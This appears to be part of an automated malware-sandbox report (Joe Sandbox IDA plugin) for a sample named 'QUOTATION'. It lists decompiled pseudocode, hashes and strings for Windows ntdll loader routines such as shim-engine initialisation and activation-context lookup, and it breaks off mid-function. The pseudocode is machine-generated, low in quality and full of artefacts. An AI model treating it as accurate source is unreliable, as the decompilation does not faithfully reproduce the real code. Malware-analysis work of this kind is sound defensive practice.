Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID:
String ID: Actx $RtlFindActivationContextSectionString() found section at %p (length %lu) which is not a string section$RtlpFindActivationContextSection_CheckParameters$SXS: %s() flags contains return_assembly_metadata but they don't fit in size, return invalid_parameter 0x%08lx.$SXS: %s() flags contains return_flags but they don't fit in size, return invalid_parameter 0x%08lx.$SsHd
API String ID: 0-1988757188
Opcode ID: a19bf2daa7ef6971978adfef2e4d0a089c14a6e02dfc315a4517b647dbc43fff
Instruction ID: 5099958857661fb9e848c18d7b13f52c125722cc753e128b12830dee0a470924
Opcode Fuzzy Hash: a19bf2daa7ef6971978adfef2e4d0a089c14a6e02dfc315a4517b647dbc43fff
Instruction Fuzzy Hash: 88E1E4756093418FE744CE28C886B5A77E6BF8A364F140A2DF8A5CF292D731D845DBC2

Uniqueness

Uniqueness Score: -1.00%

Function 3373D690 Relevance: 12.6, APIs: 1, Strings: 6, Instructions: 372
timeCOMMON

Download Yara Rule

C-Code - Quality: 54%

			E3373D690(signed int _a4, signed int _a8, intOrPtr _a12, signed int _a16, intOrPtr* _a20) {
				signed int _v8;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				char _v36;
				signed int _v40;
				char _v44;
				intOrPtr _v48;
				signed int _v52;
				char _v56;
				char _v60;
				signed int _v64;
				intOrPtr _v68;
				signed int _v72;
				char _v76;
				signed int _v80;
				signed int* _v84;
				char _v88;
				signed int _v92;
				char _v93;
				signed int _v104;
				char _v117;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t150;
				char _t158;
				intOrPtr _t160;
				intOrPtr _t163;
				intOrPtr* _t164;
				intOrPtr _t170;
				signed int _t171;
				void* _t172;
				signed int _t195;
				intOrPtr* _t201;
				signed int _t205;
				intOrPtr* _t209;
				void* _t210;
				intOrPtr _t211;
				intOrPtr _t213;
				signed int _t214;
				intOrPtr* _t215;
				intOrPtr _t217;
				intOrPtr _t225;
				intOrPtr _t227;
				intOrPtr _t228;
				void* _t233;
				intOrPtr* _t234;
				signed int _t242;
				void* _t246;
				signed int _t247;
				signed int _t252;
				void* _t253;
				intOrPtr* _t254;
				intOrPtr _t255;
				signed int _t256;
				signed int _t258;

				_t258 = (_t256 & 0xfffffff8) - 0x5c;
				_v8 =  *0x3381b370 ^ _t258;
				_t217 =  *[fs:0x18];
				_t241 = _a16;
				_t209 = _a20;
				_t150 =  *((intOrPtr*)(_t217 + 0x30));
				_t252 = _a8;
				_v84 = _t241;
				_v80 = _t209;
				if( *((intOrPtr*)(_t150 + 0x1f8)) == 0) {
					if( *((intOrPtr*)(_t150 + 0x200)) != 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t217 + 0x1a8)))) != 0) {
						goto L1;
					} else {
						_t151 = 0xc0150001;
						L24:
						_pop(_t246);
						_pop(_t253);
						_pop(_t210);
						return E33764B50(_t151, _t210, _v8 ^ _t258, _t241, _t246, _t253);
					}
				}
				L1:
				_v88 = 0;
				if(_t241 == 0) {
					L49:
					_t151 = 0xc000000d;
					goto L24;
				}
				_t241 = _a4;
				if((_t241 & 0xfffffff8) != 0) {
					goto L49;
				}
				if((_t241 & 0x00000007) == 0) {
					if(_t209 != 0) {
						L5:
						if( *_t209 < 0x24) {
							goto L49;
						}
						L6:
						if((_t241 & 0x00000002) != 0) {
							if(_t209 + 0x2c <=  *_t209 + _t209) {
								goto L7;
							}
							_push(0xc000000d);
							_push("RtlpFindActivationContextSection_CheckParameters");
							_push("SXS: %s() flags contains return_flags but they don\'t fit in size, return invalid_parameter 0x%08lx.\n");
							L48:
							_push(0);
							_push(0x33);
							E337AEF10();
							_t258 = _t258 + 0x14;
							goto L49;
						}
						L7:
						if((_t241 & 0x00000004) != 0) {
							if(_t209 + 0x40 <=  *_t209 + _t209) {
								goto L8;
							}
							_push(0xc000000d);
							_push("RtlpFindActivationContextSection_CheckParameters");
							_push("SXS: %s() flags contains return_assembly_metadata but they don\'t fit in size, return invalid_parameter 0x%08lx.\n");
							goto L48;
						}
						L8:
						_t241 =  &_v76;
						_v48 = _a12;
						_v60 = 0x18;
						_v56 = 0;
						_v52 = _t252;
						_v40 = 0;
						_v64 = 0;
						_v44 = 0;
						if(E3373D580( &_v60,  &_v76,  &_v88,  &_v64) < 0) {
							goto L24;
						}
						_t151 = 0;
						if(0 < 0) {
							goto L24;
						}
						_t158 = _v88;
						if(_t158 < 0x28) {
							L34:
							_t254 = _v76;
							L91:
							_push(_t158);
							E337AEF10(0x33, 0, "RtlFindActivationContextSectionGuid() found section at %p (length %lu) which is not a GUID section\n", _t254);
							_t258 = _t258 + 0x14;
							_t151 = 0xc0150003;
							goto L24;
						}
						_t247 = _v64;
						while(1) {
							L12:
							_t254 = _v76;
							if( *_t254 != 0x64487347) {
								goto L91;
							}
							_t211 =  *((intOrPtr*)(_t254 + 0x14));
							_t160 = 1;
							if(_t211 == 0) {
								L19:
								_t225 =  *[fs:0x18];
								_t255 = _v44;
								_v92 = 0;
								_t247 = 0;
								_v68 = _t225;
								_t241 =  *(_t225 + 0x30);
								_v72 = _t241;
								L20:
								while(1) {
									if(_t255 <= 2) {
										_t163 = _t255;
										if(_t163 == 0) {
											_t164 =  *((intOrPtr*)(_t225 + 0x1a8));
											if(_t164 == 0) {
												L43:
												_t213 =  *((intOrPtr*)(_t241 + 0x1f8));
												_v92 = 0;
												if(_t213 == 0) {
													L28:
													_t213 =  *((intOrPtr*)(_t241 + 0x200));
													_v92 = 0xfffffffc;
													if(_t213 == 0) {
														goto L21;
													}
													_t255 = 3;
													_v44 = 3;
													L22:
													if(_t213 != 0) {
														_t241 = _v52;
														_t151 = E3373A600(_t213, _v52, _v48,  &_v76,  &_v88);
														if(_t151 < 0) {
															if(_t151 != 0xc0150001 || _t255 == 3) {
																L32:
																if(_t151 < 0) {
																	if(_t151 != 0xc0150001) {
																		goto L24;
																	}
																	goto L23;
																}
																_t158 = _v88;
																if(_t158 >= 0x28) {
																	goto L12;
																}
																goto L34;
															} else {
																_t225 = _v68;
																_t241 = _v72;
																continue;
															}
														}
														_t241 = _v92;
														_v40 = (0 | _t241 != 0xfffffffc) - 0x00000001 & 0x00000002 | 0 | _t241 == 0x00000000;
														asm("sbb edi, edi");
														_t247 =  ~(_t241 - 0xfffffffc) & _t241;
														_t151 = 0;
														goto L32;
													}
													L23:
													_t151 = 0xc0150008;
													goto L24;
												}
												_t255 = 2;
												_v44 = 2;
												goto L22;
											}
											_t170 =  *_t164;
											if(_t170 == 0) {
												goto L43;
											}
											_t171 =  *((intOrPtr*)(_t170 + 4));
											_v92 = _t171;
											if(_t171 == 0) {
												L83:
												if(_t213 == 0) {
													goto L43;
												}
												L84:
												_t255 = 1;
												_v44 = 1;
												goto L22;
											}
											if(_t171 != 0xfffffffc) {
												if(_t171 != 0xfffffffd) {
													_t213 =  *((intOrPtr*)(_t171 + 0x10));
													goto L83;
												}
												_t213 = "Actx ";
												goto L84;
											}
											_t213 =  *((intOrPtr*)(_t241 + 0x200));
											goto L83;
										}
										_t172 = _t163 - 1;
										if(_t172 == 0) {
											goto L43;
										}
										if(_t172 != 1) {
											goto L21;
										}
										goto L28;
									}
									L21:
									if(_t255 > 3) {
										_t151 = 0xc00000e5;
										goto L24;
									}
									goto L22;
								}
							}
							if( *((intOrPtr*)(_t254 + 8)) != 1) {
								_t160 = 0;
							}
							_t227 =  *((intOrPtr*)(_t254 + 0x1c));
							if(_t227 != 0) {
								if(_t160 == 0) {
									goto L16;
								}
								_v92 = 0;
								_t233 =  *((intOrPtr*)(_t227 + _t254 + 4)) +  *_v84 %  *(_t227 + _t254) * 8;
								_t234 = _t233 + _t254;
								_t201 =  *((intOrPtr*)(_t233 + _t254 + 4)) + _t254;
								_v72 = _t234;
								if( *_t234 <= 0) {
									goto L19;
								} else {
									goto L54;
								}
								while(1) {
									L54:
									_t214 =  *_t201 + _t254;
									_v68 = _t201 + 4;
									if(E33778050(_t214, _v84, 0x10) == 0x10) {
										goto L18;
									}
									_t205 = _v92 + 1;
									_v92 = _t205;
									_t201 = _v68;
									if(_t205 <  *_v72) {
										continue;
									}
									goto L19;
								}
							} else {
								L16:
								_t228 =  *((intOrPtr*)(_t254 + 0x18));
								if(( *(_t254 + 0x10) & 0x00000001) == 0) {
									_t174 = _t228 + _t254;
									_v92 = _t228 + _t254;
									while(E33778050(_t174, _v84, 0x10) != 0x10) {
										_t174 = _v92 + 0x1c;
										_v92 = _v92 + 0x1c;
										_t211 = _t211 - 1;
										if(_t211 != 0) {
											continue;
										}
										goto L19;
									}
									_t214 = _v92;
									L18:
									if(_t214 != 0) {
										if( *((intOrPtr*)(_t214 + 0x10)) == 0) {
											goto L19;
										}
										_t241 = _v80;
										if(_t241 != 0) {
											 *((intOrPtr*)(_t241 + 4)) =  *((intOrPtr*)(_t254 + 0xc));
											 *((intOrPtr*)(_t241 + 8)) =  *((intOrPtr*)(_t214 + 0x10)) + _t254;
											 *((intOrPtr*)(_t241 + 0xc)) =  *((intOrPtr*)(_t214 + 0x14));
											if(_t241 + 0x28 <=  *_t241 + _t241) {
												 *((intOrPtr*)(_t241 + 0x24)) =  *((intOrPtr*)(_t214 + 0x18));
											}
										}
										if((_t247 - 0x00000001 | 0x00000007) != 0xffffffff) {
											_t215 =  *((intOrPtr*)(_t247 + 0x14));
											if(_t215 != 0 && (( *(_t247 + 0x1c) & 0x00000008) == 0 || ( *(_t247 + 0x3c) & 0x00000008) == 0)) {
												_v93 = 0;
												 *0x338191e0(3, _t247,  *((intOrPtr*)(_t247 + 0x10)),  *((intOrPtr*)(_t247 + 0x18)), 0,  &_v93);
												 *_t215();
												 *(_t247 + 0x1c) =  *(_t247 + 0x1c) | 0x00000008;
												_t241 = _v104;
												if(_v117 != 0) {
													 *(_t247 + 0x3c) =  *(_t247 + 0x3c) | 0x00000008;
												}
											}
										}
										if(_t241 == 0 || E33724428(_a4, _t241, _t247,  &_v60, _t254,  *((intOrPtr*)(_t254 + 0x20)),  *((intOrPtr*)(_t254 + 0x24)), _v88) >= 0) {
											_t151 = 0;
										}
										goto L24;
									}
									goto L19;
								}
								_t242 = _v84;
								_v36 =  *_t242;
								_v32 =  *((intOrPtr*)(_t242 + 4));
								_v28 =  *((intOrPtr*)(_t242 + 8));
								_v24 =  *((intOrPtr*)(_t242 + 0xc));
								_t195 = E33768170( &_v36, _t228 + _t254, _t211, "true", E3371B600);
								_t258 = _t258 + 0x14;
								_t214 = _t195;
							}
							goto L18;
						}
						goto L91;
					}
					goto L6;
				}
				if(_t209 == 0) {
					goto L49;
				}
				goto L5;
			}

0x3373d698
0x3373d6a2
0x3373d6a6
0x3373d6ad
0x3373d6b1
0x3373d6b4
0x3373d6b8
0x3373d6c3
0x3373d6c7
0x3373d6cb
0x3373d90e
0x00000000
0x3378913f
0x3378913f
0x3373d847
0x3373d84b
0x3373d84c
0x3373d84d
0x3373d858
0x3373d858
0x3373d90e
0x3373d6d1
0x3373d6d1
0x3373d6db
0x33789164
0x33789164
0x00000000
0x33789164
0x3373d6e1
0x3373d6ea
0x00000000
0x00000000
0x3373d6f3
0x3373d8fc
0x3373d701
0x3373d704
0x00000000
0x00000000
0x3373d70a
0x3373d70d
0x3373d922
0x00000000
0x00000000
0x33789149
0x3378914e
0x33789153
0x33789158
0x33789158
0x3378915a
0x3378915c
0x33789161
0x00000000
0x33789161
0x3373d713
0x3373d716
0x3373d936
0x00000000
0x00000000
0x3378916e
0x33789173
0x33789178
0x00000000
0x33789178
0x3373d71c
0x3373d71f
0x3373d723
0x3373d72f
0x3373d73c
0x3373d745
0x3373d749
0x3373d751
0x3373d759
0x3373d768
0x00000000
0x00000000
0x3373d76e
0x3373d772
0x00000000
0x00000000
0x3373d778
0x3373d77f
0x3373d8f1
0x3373d8f1
0x33789370
0x33789370
0x3378937b
0x33789380
0x33789383
0x00000000
0x33789383
0x3373d785
0x3373d790
0x3373d790
0x3373d790
0x3373d79a
0x00000000
0x00000000
0x3373d7a0
0x3373d7a3
0x3373d7a7
0x3373d80d
0x3373d80d
0x3373d816
0x3373d81c
0x3373d820
0x3373d822
0x3373d826
0x3373d829
0x00000000
0x3373d830
0x3373d833
0x3373d85d
0x3373d860
0x337892e0
0x337892e8
0x3373d941
0x3373d941
0x3373d949
0x3373d94f
0x3373d874
0x3373d874
0x3373d87a
0x3373d884
0x00000000
0x00000000
0x3373d886
0x3373d88b
0x3373d83e
0x3373d840
0x3373d891
0x3373d8a5
0x3373d8ac
0x3378933a
0x3373d8dc
0x3373d8de
0x3378935b
0x00000000
0x00000000
0x00000000
0x33789361
0x3373d8e4
0x3373d8eb
0x00000000
0x00000000
0x00000000
0x33789349
0x33789349
0x3378934d
0x00000000
0x3378934d
0x3378933a
0x3373d8b2
0x3373d8d2
0x3373d8d6
0x3373d8d8
0x3373d8da
0x00000000
0x3373d8da
0x3373d842
0x3373d842
0x00000000
0x3373d842
0x3373d955
0x3373d95a
0x00000000
0x3373d95a
0x337892ee
0x337892f2
0x00000000
0x00000000
0x337892f8
0x337892fb
0x33789301
0x3378931f
0x33789321
0x00000000
0x00000000
0x33789327
0x33789327
0x3378932c
0x00000000
0x3378932c
0x33789306
0x33789313
0x3378931c
0x00000000
0x3378931c
0x33789315
0x00000000
0x33789315
0x33789308
0x00000000
0x33789308
0x3373d866
0x3373d869
0x00000000
0x00000000
0x3373d872
0x00000000
0x00000000
0x00000000
0x3373d872
0x3373d835
0x3373d838
0x33789366
0x00000000
0x33789366
0x00000000
0x3373d838
0x3373d830
0x3373d7ad
0x3378917f
0x3378917f
0x3373d7b3
0x3373d7b8
0x33789188
0x00000000
0x00000000
0x33789194
0x337891a5
0x337891ac
0x337891ae
0x337891b0
0x337891b7
0x00000000
0x00000000
0x00000000
0x00000000
0x337891bd
0x337891bd
0x337891c8
0x337891ca
0x337891d7
0x00000000
0x00000000
0x337891e5
0x337891e6
0x337891ec
0x337891f0
0x00000000
0x00000000
0x00000000
0x337891f2
0x3373d7be
0x3373d7be
0x3373d7c2
0x3373d7c5
0x337891f7
0x337891fa
0x337891fe
0x33789213
0x33789216
0x3378921a
0x3378921d
0x00000000
0x00000000
0x00000000
0x3378921f
0x33789224
0x3373d805
0x3373d807
0x33789231
0x00000000
0x00000000
0x33789237
0x3378923d
0x33789244
0x3378924e
0x33789254
0x3378925c
0x33789261
0x33789261
0x3378925c
0x3378926d
0x3378926f
0x33789274
0x33789286
0x33789299
0x3378929f
0x337892a1
0x337892aa
0x337892ae
0x337892b0
0x337892b0
0x337892ae
0x33789274
0x337892b6
0x337892d9
0x337892d9
0x00000000
0x337892b6
0x00000000
0x3373d807
0x3373d7cb
0x3373d7d9
0x3373d7e0
0x3373d7e7
0x3373d7ee
0x3373d7fb
0x3373d800
0x3373d803
0x3373d803
0x00000000
0x3373d7b8
0x00000000
0x3373d790
0x00000000
0x3373d902
0x3373d6fb
0x00000000
0x00000000
0x00000000

APIs

RtlDebugPrintTimes.NTDLL ref: 33789299

Strings

RtlFindActivationContextSectionGuid() found section at %p (length %lu) which is not a GUID section, xrefs: 33789372
Actx , xrefs: 33789315
SXS: %s() flags contains return_assembly_metadata but they don't fit in size, return invalid_parameter 0x%08lx., xrefs: 33789178
GsHd, xrefs: 3373D794
SXS: %s() flags contains return_flags but they don't fit in size, return invalid_parameter 0x%08lx., xrefs: 33789153
RtlpFindActivationContextSection_CheckParameters, xrefs: 3378914E, 33789173

Memory Dump Source

Source File: 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 336F0000, based on PE: true

Associated: 00000008.00000002.4328211307.0000000033819000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID: DebugPrintTimes
String ID: Actx $GsHd$RtlFindActivationContextSectionGuid() found section at %p (length %lu) which is not a GUID section$RtlpFindActivationContextSection_CheckParameters$SXS: %s() flags contains return_assembly_metadata but they don't fit in size, return invalid_parameter 0x%08lx.$SXS: %s() flags contains return_flags but they don't fit in size, return invalid_parameter 0x%08lx.
API String ID: 3446177414-2196497285
Opcode ID: 9a660019527b93e84904420fdac9b47ea1efc43c5773f76783c7ec61f24a2f72
Instruction ID: e8e573381deb02180ede6b61c103e2d62a82b6bffc06f3984b60e9c5ca59cd53
Opcode Fuzzy Hash: 9a660019527b93e84904420fdac9b47ea1efc43c5773f76783c7ec61f24a2f72
Instruction Fuzzy Hash: 3EE1B174A09341DFE700CF14C884B4AB7E6FF8A368F444A2DE8958F292D771E844DB92

Uniqueness

Uniqueness Score: -1.00%

Function 3371640D Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 150
timeCOMMON

Download Yara Rule

C-Code - Quality: 46%

			E3371640D(void* __ecx) {
				signed int _v8;
				void* _v12;
				void* _v536;
				void* _v548;
				char _v780;
				char* _v784;
				char _v788;
				char _v792;
				intOrPtr _v804;
				char _v868;
				char* _v872;
				short _v874;
				char _v876;
				void* _v880;
				char _v892;
				void* _v896;
				void* _v900;
				void* _v904;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				short _t48;
				short _t49;
				void* _t52;
				signed char _t61;
				void* _t67;
				intOrPtr _t71;
				void* _t81;
				signed char _t85;
				void* _t99;
				void* _t100;
				void* _t102;
				void* _t103;
				signed int _t104;
				signed int _t106;
				signed int _t108;
				void* _t109;

				_t108 = (_t106 & 0xfffffff8) - 0x374;
				_v8 =  *0x3381b370 ^ _t108;
				_t48 = 0x16;
				_v876 = _t48;
				_t96 =  &_v876;
				_t49 = 0x18;
				_v874 = _t49;
				_t99 = __ecx;
				_v872 = L"apphelp.dll";
				_v784 =  &_v780;
				_v788 = 0x1000000;
				_v780 = 0;
				_t52 = E33716C11( &_v788,  &_v876, _t109);
				if(_t52 < 0) {
					_t85 =  *0x338137c0; // 0x0
					__eflags = _t85 & 0x00000003;
					if((_t85 & 0x00000003) == 0) {
						L12:
						__eflags = _t85 & 0x00000010;
						L15:
						if(__eflags != 0) {
							asm("int3");
						}
						L6:
						_t53 =  &_v780;
						if( &_v780 != _v784) {
							_t53 = E3371BA80(_v784);
						}
						_pop(_t100);
						_pop(_t102);
						_pop(_t81);
						return E33764B50(_t53, _t81, _v8 ^ _t108, _t96, _t100, _t102);
					}
					_push(_t52);
					_push("Building shim engine DLL system32 filename failed with status 0x%08lx\n");
					_push(0);
					_push("LdrpInitShimEngine");
					_push(0xa35);
					L11:
					_push("minkernel\\ntdll\\ldrinit.c");
					E3379E692();
					_t85 =  *0x338137c0; // 0x0
					_t108 = _t108 + 0x18;
					goto L12;
				}
				E3373E8A6(0, 0x4001,  &_v868);
				_t96 =  &_v872;
				_t103 = E33716B45( &_v792,  &_v872, 0,  &_v892);
				if(_v804 != 0) {
					E3374E7E0( &_v792, _v868);
				}
				_t112 = _t103;
				if(_t103 < 0) {
					_t61 =  *0x338137c0; // 0x0
					__eflags = _t61 & 0x00000003;
					if((_t61 & 0x00000003) != 0) {
						E3379E692("minkernel\\ntdll\\ldrinit.c", 0xa48, "LdrpInitShimEngine", 0, "Loading the shim engine DLL failed with status 0x%08lx\n", _t103);
						_t61 =  *0x338137c0; // 0x0
						_t108 = _t108 + 0x18;
					}
					__eflags = _t61 & 0x00000010;
					goto L15;
				} else {
					 *( *((intOrPtr*)(_t108 + 0xc)) + 0x34) =  *( *((intOrPtr*)(_t108 + 0xc)) + 0x34) | 0x00000100;
					 *0x33815d64 =  *((intOrPtr*)( *((intOrPtr*)(_t108 + 0xc)) + 0x18));
					E33757DF6( *((intOrPtr*)(_t108 + 0xc)));
					E3373D3E1(0,  *((intOrPtr*)(_t108 + 0xc)), _t103);
					_t67 = E33716868( *((intOrPtr*)(_t108 + 0xc)), _t96, _t112);
					if(_t67 < 0) {
						_t85 =  *0x338137c0; // 0x0
						__eflags = _t85 & 0x00000003;
						if((_t85 & 0x00000003) == 0) {
							goto L12;
						}
						_push(_t67);
						_push("Getting the shim engine exports failed with status 0x%08lx\n");
						_push(0);
						_push("LdrpInitShimEngine");
						_push(0xa56);
						goto L11;
					}
					_t104 =  *0x33819208; // 0x0
					_v872 = _t108 + 0x178;
					_v876 = 0x2000000;
					_t96 =  *0x7ffe0330;
					_t71 =  *0x33815b24; // 0x3412cd8
					asm("ror esi, cl");
					 *0x338191e0( &_v876, _t71 + 0x24, _t99, 0x20);
					if( *(_t104 ^  *0x7ffe0330)() >= 0) {
						E33716565( *((intOrPtr*)(_t108 + 0x14)));
						if( *((intOrPtr*)(_t108 + 0x14)) != _t108 + 0x178) {
							E33733BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0,  *((intOrPtr*)(_t108 + 0x14)));
						}
					}
					goto L6;
				}
			}

0x33716415
0x33716422
0x3371642e
0x3371642f
0x33716434
0x3371643a
0x3371643b
0x33716440
0x33716446
0x3371644e
0x33716458
0x33716460
0x33716465
0x3371646c
0x33779770
0x33779776
0x33779779
0x337797b3
0x337797b3
0x337797dd
0x337797dd
0x337797e3
0x337797e3
0x33716542
0x33716542
0x3371654a
0x3377982b
0x3377982b
0x33716557
0x33716558
0x33716559
0x33716564
0x33716564
0x3377977b
0x3377977c
0x33779781
0x33779783
0x33779788
0x337797a0
0x337797a0
0x337797a5
0x337797aa
0x337797b0
0x00000000
0x337797b0
0x3371647e
0x3371648b
0x33716498
0x3371649e
0x337797ed
0x337797ed
0x337164a4
0x337164a6
0x337797f7
0x337797fc
0x337797fe
0x337797ce
0x337797d3
0x337797d8
0x337797d8
0x337797db
0x00000000
0x337164ac
0x337164b0
0x337164be
0x337164c3
0x337164cc
0x337164d1
0x337164d8
0x33779802
0x33779808
0x3377980b
0x00000000
0x00000000
0x3377978f
0x33779790
0x33779795
0x33779796
0x3377979b
0x00000000
0x3377979b
0x337164de
0x337164eb
0x337164f1
0x337164f9
0x33716507
0x33716510
0x3371651c
0x33716526
0x3371652c
0x3371653c
0x3377981d
0x3377981d
0x3371653c
0x00000000
0x33716526

APIs

RtlDebugPrintTimes.NTDLL ref: 3371651C

Part of subcall function 33716565: RtlDebugPrintTimes.NTDLL ref: 33716614
Part of subcall function 33716565: RtlDebugPrintTimes.NTDLL ref: 3371665F

Strings

LdrpInitShimEngine, xrefs: 33779783, 33779796, 337797BF
Getting the shim engine exports failed with status 0x%08lx, xrefs: 33779790
Building shim engine DLL system32 filename failed with status 0x%08lx, xrefs: 3377977C
minkernel\ntdll\ldrinit.c, xrefs: 337797A0, 337797C9
apphelp.dll, xrefs: 33716446
Loading the shim engine DLL failed with status 0x%08lx, xrefs: 337797B9

Memory Dump Source

Source File: 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 336F0000, based on PE: true

Associated: 00000008.00000002.4328211307.0000000033819000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID: DebugPrintTimes
String ID: Building shim engine DLL system32 filename failed with status 0x%08lx$Getting the shim engine exports failed with status 0x%08lx$LdrpInitShimEngine$Loading the shim engine DLL failed with status 0x%08lx$apphelp.dll$minkernel\ntdll\ldrinit.c
API String ID: 3446177414-204845295
Opcode ID: dba9b3c1f0f6cbcca2607d7479f95263638421c527ef0f841c952ea8c5789908
Instruction ID: fd74f3738baaaad96cb3a51a9233ad1abaa5f95d03b58f9bc67d9415128b4b46
Opcode Fuzzy Hash: dba9b3c1f0f6cbcca2607d7479f95263638421c527ef0f841c952ea8c5789908
Instruction Fuzzy Hash: 6B51CE72A093009FE721DF24C884FABB7E8EF89244F40091DF9949F661EB70D905DB92

Uniqueness

Uniqueness Score: -1.00%

Function 3379FA02 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 109
timeCOMMON

Download Yara Rule

C-Code - Quality: 17%

			E3379FA02(intOrPtr __ecx, void* __edx, void* __eflags, intOrPtr _a4, intOrPtr* _a8, intOrPtr* _a12, intOrPtr _a16, intOrPtr _a20) {
				char* _v8;
				intOrPtr _v12;
				char* _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				char* _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				char _v56;
				signed char _t50;
				intOrPtr _t51;
				intOrPtr _t66;
				intOrPtr _t68;
				char* _t71;
				void* _t74;
				intOrPtr* _t75;
				intOrPtr* _t76;
				char* _t77;

				_t74 = __edx;
				_v20 = __ecx;
				_t66 = 0;
				_v12 =  *((intOrPtr*)(__ecx + 0x18)) +  *((intOrPtr*)(_a4 + 4));
				E3379F899(__ecx, _a4, _a16,  &_v16,  &_v8);
				_t50 =  *0x338137c0; // 0x0
				_t77 = _v16;
				if((_t50 & 0x00000003) != 0) {
					_t71 = _t77;
					if(_t77 == 0) {
						_t71 = "Unknown";
					}
					_push(_a20);
					_push(_v20 + 0x2c);
					_push(_v8);
					_push(_t71);
					E3379E692("minkernel\\ntdll\\ldrdload.c", 0x1cc, "LdrpRedirectDelayloadFailure", _t66, "Failed to find export %s!%s (Ordinal:%d) in \"%wZ\"  0x%08lx\n", _v12);
					_t50 =  *0x338137c0; // 0x0
				}
				if((_t50 & 0x00000010) != 0) {
					asm("int3");
				}
				if(_t74 == 0) {
					_t68 = _t66;
					goto L11;
				} else {
					_t68 =  *((intOrPtr*)(_t74 + 0x18));
					if(( *0x3381391c & 0x00000010) != 0 || ( *(_t74 + 0x34) & 0x00000001) != 0) {
						L11:
						_t51 = 1;
						goto L12;
					} else {
						_t51 = _t66;
						L12:
						_t75 = _a8;
						if(_t75 == 0 || _t51 == 0) {
							L18:
							_t76 = _a12;
							if(_t76 != 0) {
								if(_t77 == 0) {
									_t77 = _v8;
								}
								 *0x338191e0(_v12, _t77);
								_t66 =  *_t76();
							}
							goto L22;
						} else {
							_v52 = _a4;
							_v48 = _a16;
							_v28 = _t66;
							_v56 = 0x24;
							_v44 = _v12;
							_v32 = _t68;
							_v24 = E33756010(_a20);
							if(_t77 == 0) {
								_v40 = _t66;
								_v36 = _v8;
							} else {
								_v40 = 1;
								_v36 = _t77;
							}
							 *0x338191e0(4,  &_v56);
							_t66 =  *_t75();
							if(_t66 != 0) {
								L22:
								return _t66;
							} else {
								goto L18;
							}
						}
					}
				}
			}

0x3379fa10
0x3379fa12
0x3379fa18
0x3379fa1d
0x3379fa2b
0x3379fa30
0x3379fa35
0x3379fa3a
0x3379fa3c
0x3379fa40
0x3379fa42
0x3379fa42
0x3379fa47
0x3379fa50
0x3379fa51
0x3379fa54
0x3379fa6d
0x3379fa72
0x3379fa77
0x3379fa7c
0x3379fa7e
0x3379fa7e
0x3379fa81
0x3379fa99
0x00000000
0x3379fa83
0x3379fa8a
0x3379fa8d
0x3379fa9b
0x3379fa9b
0x00000000
0x3379fa95
0x3379fa95
0x3379fa9d
0x3379fa9d
0x3379faa2
0x3379fb01
0x3379fb01
0x3379fb06
0x3379fb0a
0x3379fb0c
0x3379fb0c
0x3379fb15
0x3379fb1d
0x3379fb1d
0x00000000
0x3379faa8
0x3379faae
0x3379fab4
0x3379faba
0x3379fabd
0x3379fac4
0x3379fac7
0x3379facf
0x3379fad4
0x3379fae5
0x3379fae8
0x3379fad6
0x3379fad6
0x3379fadd
0x3379fadd
0x3379faf3
0x3379fafb
0x3379faff
0x3379fb21
0x3379fb25
0x00000000
0x00000000
0x00000000
0x3379faff
0x3379faa2
0x3379fa8d

APIs

RtlDebugPrintTimes.NTDLL ref: 3379FAF3
RtlDebugPrintTimes.NTDLL ref: 3379FB15

Strings

$, xrefs: 3379FABD
minkernel\ntdll\ldrdload.c, xrefs: 3379FA68
Unknown, xrefs: 3379FA42, 3379FA54
Failed to find export %s!%s (Ordinal:%d) in "%wZ" 0x%08lx, xrefs: 3379FA58
LdrpRedirectDelayloadFailure, xrefs: 3379FA5E

Memory Dump Source

Source File: 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 336F0000, based on PE: true

Associated: 00000008.00000002.4328211307.0000000033819000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID: DebugPrintTimes
String ID: $$Failed to find export %s!%s (Ordinal:%d) in "%wZ" 0x%08lx$LdrpRedirectDelayloadFailure$Unknown$minkernel\ntdll\ldrdload.c
API String ID: 3446177414-4227709934
Opcode ID: 3be3e0fb505559b1972d3a7deaa5815a8a94e236f0ba176c4ed0e3d5f69e6eba
Instruction ID: 2766e4bfccf7f1ac93d399e6cceb7fb752e88948c4afb7fcda5c12c9ed232b97
Opcode Fuzzy Hash: 3be3e0fb505559b1972d3a7deaa5815a8a94e236f0ba176c4ed0e3d5f69e6eba
Instruction Fuzzy Hash: A9418FB9E00209ABEB01DF94D880ADEBBF6FF49754F140269E904AB340D7719A42DF90

Uniqueness

Uniqueness Score: -1.00%

Function 337CF8F8 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 190
timeCOMMON

Download Yara Rule

C-Code - Quality: 67%

			E337CF8F8(void* __ebx, intOrPtr __ecx, signed int __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t73;
				signed int _t75;
